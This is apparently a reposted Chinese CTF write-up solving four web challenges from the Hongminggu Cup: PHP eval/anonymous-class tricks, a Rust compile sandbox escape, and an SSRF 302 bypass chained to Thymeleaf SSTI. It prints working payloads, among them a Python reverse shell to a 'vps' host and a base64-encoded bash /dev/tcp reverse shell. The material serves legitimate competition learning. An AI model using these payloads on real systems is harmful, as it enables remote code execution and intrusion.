0x01 ezphp
https://xz.aliyun.com/t/12939?time__1311=mqmhqIx%2BxfOD7DloaGkWepSazHG%3D4D#toc-16
highlight_file(__FILE__);
// flag.php
if (isset($_POST['f'])) {
echo hash_file('md5', $_POST['f']);
}
//GitHub - synacktiv/php_filter_chains_oracle_exploit: A CLI to exploit parameters vulnerable to PHP filter chain error based oracle.
https://github.com/synacktiv/php_filter_chains_oracle_exploit
if (isset($_GET['ezphpPhp8'])) {
highlight_file(__FILE__);
} else {
die("No");
}
$a = new class {
function __construct()
{
}
function getflag()
{
system('cat /flag');
}
};
unset($a);
$a = $_GET['ezphpPhp8'];
$f = new $a();
$f->getflag();
?ezphpPhp8=anonymous
?ezphpPhp8=class %00/var/www/html/flag.php:7$0
0x02 unauth
<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="Restricted Area"');
header('HTTP/1.0 401 Unauthorized');
echo '小明是运维工程师,最近网站老是出现bug。';
exit;
} else {
$validUser = 'admin';
$validPass = '2e525e29e465f45d8d7c56319fe73036';
if ($_SERVER['PHP_AUTH_USER'] != $validUser || $_SERVER['PHP_AUTH_PW'] != $validPass) {
header('WWW-Authenticate: Basic realm="Restricted Area"');
header('HTTP/1.0 401 Unauthorized');
echo 'Invalid credentials';
exit;
}
}
@eval($_GET['cmd']);
highlight_file(__FILE__);
?>
pcntl_exec("/usr/bin/python",array(%27-c%27,%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("vps",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);%27));
直接su到admin
0x03 playground
rust
#[macro_use] extern crate rocket;
use std::fs;
use std::fs::File;
use std::io::Write;
use std::process::Command;
use rand::Rng;
#[get("/")]
fn index() -> String {
fs::read_to_string("main.rs").unwrap_or(String::default())
}
#[post("/rust_code", data = "<code>")]
fn run_rust_code(code: String) -> String{
if code.contains("std") {
return "Error: std is not allowed".to_string();
}
//generate a random 5 length file name
let file_name = rand::thread_rng()
.sample_iter(&rand::distributions::Alphanumeric)
.take(5)
.map(char::from)
.collect::<String>();
if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {
file.write_all(code.as_bytes());
}
if let Ok(build_output) = Command::new("rustc")
.arg(format!("playground/{}.rs",&file_name))
.arg("-C")
.arg("debuginfo=0")
.arg("-C")
.arg("opt-level=3")
.arg("-o")
.arg(format!("playground/{}",&file_name))
.output() {
if !build_output.status.success(){
fs::remove_file(format!("playground/{}.rs",&file_name));
return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();
}
}
fs::remove_file(format!("playground/{}.rs",&file_name));
if let Ok(output) = Command::new(format!("playground/{}",&file_name))
.output() {
if !output.status.success(){
fs::remove_file(format!("playground/{}",&file_name));
return String::from_utf8_lossy(output.stderr.as_slice()).to_string();
} else{
fs::remove_file(format!("playground/{}",&file_name));
return String::from_utf8_lossy(output.stdout.as_slice()).to_string();
}
}
return String::default();
}
#[launch]
fn rocket() -> _ {
let figment = rocket::Config::figment()
.merge(("address", "0.0.0.0"));
rocket::custom(figment).mount("/", routes![index,run_rust_code])
}
fn main() {
include!("/flag");
}
//声明外部函数 C语言库函数
extern "C" {
fn system(cmd: *const u8) -> i32;
}
fn main() {
// Rust 中的 unsafe 块,用于执行不受 Rust 安全机制保护的操作
unsafe {
system("cat /flag".as_ptr());
}
}
0x04 Simp1escape
302跳转绕过,thymeleaf的SSTI
CurlController.class:
package com.example.controller;
import com.example.utils.Utils;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.URL;
import java.util.concurrent.TimeUnit;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class CurlController {
private static final String RESOURCES_DIRECTORY = "resources";
private static final String SAVE_DIRECTORY = "sites";
public CurlController() {
}
@RequestMapping({"/curl"})
public String curl(@RequestParam String url, HttpServletRequest request, HttpServletResponse response) throws Exception {
if (!url.startsWith("http:") && !url.startsWith("https:")) {
System.out.println(url.startsWith("http"));
return "No protocol: " + url;
} else {
URL urlObject = new URL(url);
String result = "";
String hostname = urlObject.getHost();
if (hostname.indexOf("../") != -1) {
return "Illegal hostname";
} else {
InetAddress inetAddress = InetAddress.getByName(hostname);
if (Utils.isPrivateIp(inetAddress)) {
return "Illegal ip address";
} else {
try {
String savePath = System.getProperty("user.dir") + File.separator + "resources" + File.separator + "sites";
File saveDir = new File(savePath);
if (!saveDir.exists()) {
saveDir.mkdirs();
}
TimeUnit.SECONDS.sleep(4L);
HttpURLConnection connection = (HttpURLConnection)urlObject.openConnection();
if (connection instanceof HttpURLConnection) {
connection.connect();
int statusCode = connection.getResponseCode();
if (statusCode == 200) {
BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
BufferedWriter writer;
String line;
for(writer = new BufferedWriter(new FileWriter(savePath + File.separator + hostname + ".html")); (line = reader.readLine()) != null; result = result + line + "n") {
}
writer.write(result);
reader.close();
writer.close();
}
}
return result;
} catch (Exception var15) {
return var15.toString();
}
}
}
}
}
}
AdminController.class:
package com.example.controller;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.http.HttpStatus;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.thymeleaf.TemplateEngine;
import org.thymeleaf.context.Context;
import org.thymeleaf.spring5.SpringTemplateEngine;
@Controller
public class AdminController {
public AdminController() {
}
@GetMapping({"/getsites"})
public String admin(@RequestParam String hostname, HttpServletRequest request, HttpServletResponse response) throws Exception {
String ipAddress = request.getRemoteAddr();
if (!ipAddress.equals("127.0.0.1")) {
response.setStatus(HttpStatus.FORBIDDEN.value());
return "forbidden";
} else {
Context context = new Context();
TemplateEngine engine = new SpringTemplateEngine();
String dispaly = engine.process(hostname, context);
return dispaly;
}
}
}
漏洞点肯定是AdminController这里,但是限制了本地访问,但可以用 302 跳转绕过。
thymeleaf的SSTI可以参考上次rwctf的原题
https://boogipop.com/2024/01/29/RealWorld%20CTF%206th%20%E6%AD%A3%E8%B5%9B_%E4%BD%93%E9%AA%8C%E8%B5%9B%20%E9%83%A8%E5%88%86%20Web%20Writeup/#chatterbox%EF%BC%88solved%EF%BC%89
/curl?url=http://vps:port/exploit.php
<?php
header("Location:http://127.0.0.1:8080/getsites?hostname=[[${T(org.thymeleaf.util.ClassLoaderUtils).loadClass('org.apa'+'che.logging.log4j.util.LoaderUtil').newInstanceOf('org.spr'+'ingframework.expression.spel.standard.SpelExpressionParser').parseExpression('T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8wLjAuMC4wLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}")').getValue()}]]
原文始发于微信公众号(山石网科安全技术研究院):第四届红明谷杯卫星应用数据安全大赛 WEB writeup
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论